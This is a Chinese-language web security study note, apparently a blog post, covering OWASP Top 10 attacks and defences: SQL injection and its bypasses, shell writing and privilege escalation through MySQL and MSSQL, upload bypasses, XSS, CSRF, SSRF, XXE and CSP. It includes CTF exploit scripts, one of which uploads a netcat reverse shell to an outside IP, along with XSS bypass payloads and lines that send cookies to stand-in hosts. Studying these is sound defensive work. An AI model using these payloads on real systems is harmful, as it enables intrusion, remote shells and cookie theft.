top10漏洞

OWASP-10

Sql 注入

https://mp.weixin.qq.com/s/frwK49IatUqUoT-4DR08GQ

绕过方式

大小写 双写 空格 内敛注释 url 编码 十六进制 逗号 比较符 注释符 宽字节

分类

Out-of-band SQLi

通过数据库服务器使⽤不同的通道 如HTTP请求或DNS查询 来传输数据

报错注入

1
2
3
4
updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数 
extractvalue() 是mysql对xml文档数据进行查询的xpath函数
floor() mysql中用来取整的函数
exp() 此函数返回e(自然对数的底)指数X的幂值

盲注

1
2
3
4
sleep()
benchmark() 计算md5
Get_lock函数
RLIKE

一文搞定 MySQL 盲注 | 颖奇 L’Amore (gem-love.com)

堆叠注入

宽字节注入

数据库采用宽字节编码(GB2312、GBK、GB18030、BIG5、Shift_JIS)同时与服务器不一致并且存在转义函数的时候

root %df’ or 1=1 #

原理:在 GBK 编码中,反斜杠的编码是 %5c,在输入 %df’后,单引号前添加反斜杠后形成 %df%5c,而 %df%5c 是繁体字“連”,单引号成功逃逸

注意:使用mysql_real_escape_string修复需要mysql_set_charset指定字符集

二次注入

第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成 SQL 的二次注入

防护

在从数据库或文件中取数据的时候,也要进行转义或者过滤。

写 shell

条件

1.绝对路径且读写

2.数据库权限

3.secure_file_priv非null(可日志绕过)

日志绕过

4.防止命令执行:disable_functions,禁止了 disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

但是可以用 dl 扩展执行命令或者 ImageMagick 漏洞

其中 open_basedir: 将用户可操作的文件限制在某目录下

https://blog.csdn.net/xhy18634297976/article/details/119486812

5.GPC关闭 ||没有转义引号

函数写入

outfile
dumpfile
file_put_content

1.outfile 和 dumpfile 区别?

2.outfile不能用了怎么办?

select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';

并且,outfile和dumpfile路径不能hex

可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html

日志写入

全局日志:开启后将日志路径指定为网站绝对路径下的一个文件,执行木马语句自动写入,绕过 secure_file_priv=0

提权

MYSQL

https://www.freebuf.com/articles/web/264790.html

udf 提权,mof 提权,启动项提权

获取 root 密码:1.配置文件 2.数据文件 3.爆破

mof 提权

低版本 win 下自动运行的文件,在可写目录下写入执行语句然后 outfile 到 mof 文件(C:\Windows\System32\wbem\MOF 目录下的 nullevt.mof)中

udf 提权

UDF(User Defined Funtion)用户自定义函数可以调用 dll 文件语句,将恶意 dll 文件导入 myslq 中并执行(linux 是 so 文件)

  • 5.1之前在c:\windows\system32
  • 5.2之后再MySQL/Lib/Plugin

条件

  • 没有开启安全模式(确认secure_file_priv=’’是否为空)
  • 拥有增删改查权限(不过滤 into outfile 这种语句)
  • shell有写入目录权限

3.启动项提权

4.反弹端口连接提权

绕过

mysql

image-20240818185948066

空格:”%09”, “%0A”, “%0C”, “%0D”

union,where,select:注释符,大小写,内敛注释/*!union*/

where:limit 1,1

limit: group by having 条件

逗号:嵌套查询,union,编码或替代

limit处的逗号:limit 1 offset 1

单引号:需要两个注入点,例如账号输入1\就能将后面的单引号转义再在密码处进行注入

select:盲注,仅限当前表,可堆叠的话赋值变量为16

比较符号:greatest least between and

image-20240627105613676

oracle

空格:特殊字符image-20240703221208778

大小写替换

拼接chr(10)||chr(13)换行image-20240703221231678

分块传输

脏数据

SQLserver

MSSQL多种姿势拿shell和提权

0.看有无sa权限,可以利用sp_configure重启xp_cmdshell,导出数据到web目录

1.xp_cmdshell 提权

拥有 shell 且有sytem权限,拿到sa口令后利用 cmdshell 组件默认的 system 权限

1
2
3
4
# 启用xp_cmdshell 
EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
# 通过xp_cmdshell执行系统命令
Exec master.dbo.xp_cmdshell 'whoami'

image-20240703222641080

2.sp_OACreate 提权

1
2
3
4
5
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;    

EXEC sp_configure 'show advanced options', 0;

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami'

3.Log备份

image-20250210155128322

4.差异备份

5.沙盒

6.Agent Job

防护

数据库:限制数据库权限,(进入数据库的数据和统一)编码

输入:数据类型长度限制,黑白名单

输出:前端控制回显,关闭报错

框架:参数化查询,预编译,ORM(对象关系映射)框架

宽字节注入需要mysql_set_charset(GBK)+mysql_real_escape_string解决

以下:order by开白名单;in配合for each;like用concat

除了order by还是一定要用# 只是需要拼接

image-20250305090233826

image-20250305090244733

其他

GPC

特殊字符

用转义字符防御时,如果遇到数据库的列名或是表名本身就带着特殊字符,应该怎么做

特殊字符包裹(mysql ``)

规范化命名

白名单输入

mysql 版本

5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表名。

5.0 以下是多用户单操作,5.0 以上是多用户多操作

PDO

预编译sql模板,sql和参数分两次

区别

1.MySQL ⽀持⼀些独特的SQL语法和函数 ⽐如可以利⽤ LOAD_FILE()来读取服务器⽂件 如果权限设置不当的话

2.SQL Server 有不同的系统存储过程和功能 如可以利⽤ xp_cmdshell来执⾏操作系统命令 如果该功能被启⽤且攻击者拥有⾜够权限的话

MYSQL用户密码表

image-20240703222656941

文件上传

防护:

  • JS
  • 路径角度:重命名,路径限制
  • 文件角度:文件头,文件完整性,黑白名单后缀,mime

绕过

1.各种解析漏洞如

%00:文件名后缀.php%00.jpg(nginx)

0x00:post 传参时

3.图片马

4.条件竞争(先上后检测)

5.文件名改造(替换,大小写,换行,编码,参数污染,异常闭合)

6.请求方式

7.分块参数 + 参数污染

8.长度字段

9.::data

文件包含

image-20240628102144418

输入点限制:禁止动态(白名单),特殊字符限制,目录限制

其他:魔术引号,禁止远程包含

RCE

https://xiaolong22333.top/archives/201/
https://blog.csdn.net/miuzzx/article/details/125148989
https://www.sohu.com/a/208155480_354899

基础知识

利用

1.文件名写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import time

url = "http://ed9441a5-6e27-43b0-8538-bdd2f5a5b4d2.challenge.ctf.show/"

payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]

def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)

def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)

def check():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
run()
check()

if __name__=='main':
main()

2.php 临时上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

url = "http://538ae548-ca26-4dfc-af73-ded632f3b6be.challenge.ctf.show/"


def getShell(payload):
data={
"cmd":payload
}
file = {
"file":b"#!/bin/sh\nnc 47.100.137.45 2233 -e /bin/sh"
}
requests.post(url,data=data,files=file)
print("[*] Attack success!!!")

def run():
getShell(". /t*/*")

def main():
run()

if __name__ == '__main__':
main()

3.dir 写入

SSRF

探测内网信息,读取内网文件,攻击内网程序

常用协议:http ftp file dict gopher

危害:探测ip端口,读取文件,攻击其他服务,绕waf

功能点:处理文件,邮件,远程url内容,数据库内容

image-20240628101433951

绕过

防护

输入:ip转换为整数,urllib.parse,白名单

输出:检测返回内容,统一报错

其他:关闭不必要协议

XXE

常见场景

  • pdf 在线解析
  • word 在线解析
  • 定制协议
  • 留言板等

危害

  • 读取本地文件
  • 执行系统命令
  • 探测内网端口
  • 攻击内网服务探测内网端口的协议有 gopher file dict,不同语言支持不同的协议

是具体情况而定,file http ftp 是常用的

无回显

java利用file协议

php利用php://filter获取内容后外带

防范

​ 过滤用户的xml数据。禁用外部实体

​ python 用 lxml 时可以对 resolve_entities 设为 false。或者过滤用户提交的 xml,客户端也可以有 xxe,有的网站会使用 office 打开 docx 进行解析
​ Java 解析 XML 的常用三方库,如果不禁用 DTD、Entity 都会导致 XXE 漏洞:

javax.xml.stream.XMLStreamReader;
javax.xml.parsers.DocumentBuilderFactory;

​ 跟逻辑设计有关而与语言无关,最好是不要让 XML 作为参数传输或整体结构可被用户篡改。如果一定要使用,至少要禁用 DTD、Entity。

XSS

危害

  • 窃取cookies
  • 会话劫持
  • 植入恶意软件
  • 钓鱼攻击
  • 修改网页内容

分类

存储型XSS: 你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;

反射型XSS: 你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码; 后端处理

DOM型XSS: 你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;由JavaScript处理

防护

策略:csp,http-only

输入:限制长度,html实体编码,黑白名单过滤

输出:编码

绕过

  • 大小写
  • 伪协议
  • 分号
  • flash
  • html5新标签
  • 双层标签
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!-- 空格被过滤 -->	用/代替
<img/src="1"/onerror=alert(1)>

<!-- 双写绕过 -->
<iimgmg src=1 oonerrornerror=aimglert(1)>

<!-- 大小写绕过 -->
<iMg src=1 oNerRor=alert(1)>

<!-- 利用eval() -->
<img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);">
//这里利用evel的拼接
<img src=1 onerror=eval(atob('YWxlcnQoMSk='))>

<!-- 利用location -->
<img src=1 onerror=location='javascript:%61%6C%65%72%74%28%31%29'>
<img src=1 onerror=location='javascript:\x61\x6C\x65\x72\x74\x28\x31\x29'>
<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">

<!-- 括号被过滤 -->
<img src=1 onerror="window.οnerrοr=eval;throw'=alert\x281\x29';">

<!-- onerror=被过滤 -->
<img src=1 onerror =alert(1)>
<img src=1 onerror
=alert(1)>

<!-- 属性被转换为大写 -->

<img src=1 onerror=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;>

<!-- 编码后被检测 -->
<img src=1 onerror=&#x00000061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;>

其他

输出到href标签

输出到herf中的xssimage-20250124170627972

herf防护:

  • 限制输入http开头
  • csp策略

CSP策略

浏览器内容安全策略,减少xss攻击

如何绕过Http-only?

HTTP-Only禁止的是JS读取cookie信息,Http Trace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击;或者配置或者应用程序上可能Bypass,比如header头的泄露

image-20250202222352186

CSRF

危害

  • 攻击管理员
  • 修改账号密码
  • 劫持用户
  • CSRF蠕虫
  • 拖库
  • 路由器攻击

防护

前端

  1. 避免get操作
  2. spa验证(从cookie中读取token并验证)
  3. 二次验证

后端

  1. 检测referer origin头
  2. csrf token

浏览器

  1. SOP策略 (同源策略,限制不同协议 域名 端口不可以传递cookie但是会被<form>表单,<img><script>绕过)

  2. SameSite策略(lax strict none)

    //CORS策略(跨域资源共享,设置哪些跨域请求可以允许,只能限制读取响应)

image-20250202222535855d

image-20250202222554191

image-20250202222609693

其他

DOS类

ACK UDP ICMP FLOOD CC

CC攻击:针对web页面的

LAND攻击:源和请求地址相同

SYN Flood:发送大量syn请求握手包

CORS,SOP,CSP

1
2
SOP用来防护csrf,限制了跨域交互,在他的基础上补充了CORS
CSP用来防护XSS漏洞

相比JSONP只能发GET请求,CORS允许任何类型的请求。 CORS请求大致和ajax请求相同,但是在头信息中加上了Origin字段表明请求来自哪个源。如果orgin是许可范围之内的话,服务器返回的响应会多出Acess-Control-Allow-*的字段

跨域资源共享 CORS 详解 - 阮一峰的网络日志 (ruanyifeng.com)

image-20250226194036241

CORS,JSONP,Websocket都可以用来绕过SOP策略

sop不限制ip 限制的是域名 端口 协议

image-20240627173039773

绕过csp

  • 宽松的default-src
  • 过多的unsafe-inline unsafe-eval
  • 不安全的域名
  • jsonp注入
  • 跨域
  • dom注入

url跳转

1
2
3
4
5
6
7
8
不允许内联脚本 利用meta refresh
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
允许内联脚本
window.location="http://eval.php?c=cookie"
window.location.href="http://baidu.com";
window.location.replace("http://baidu.com")
允许eval
eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 98, 97, 105, 100, 117, 46, 99, 111, 109, 34))

dns预加载

1
<link rel="dns-prefetch" href="//[some thing].xxxx.ceye.io">

link prefetch

标签补全

点击劫持

image-20240627173143109

ARP欺骗

发送虚假的ARP消息到局域网,让其他机器将不属于攻击者的IP绑定到攻击者MAC地址上从而拦截数据包

解决

静态arp

arp防护工具

网络隔离和访问控制

jsonp劫持

image-20240627173121507

img

x-frame-option

image-20240627173049155

RPO

image-20240627173814941

对于a目录下的apache.php和nginx.php

访问a/..%2f/apache报404错误,但是nginx可以访问

作用

(服务器可以识别..%2f但是浏览器不行,所以..%2f可以在url中跨目录访问index.php。但是在解析js脚本路径的时候无法穿越目录,也就导致了可以利用/a..%2f..%2f..%2fTEST.php来运行根目录下的php文件同时包含a目录下的js


top10漏洞
http://example.com/2024/06/27/top10漏洞/
作者
z2zQAQ
发布于
2024年6月27日
许可协议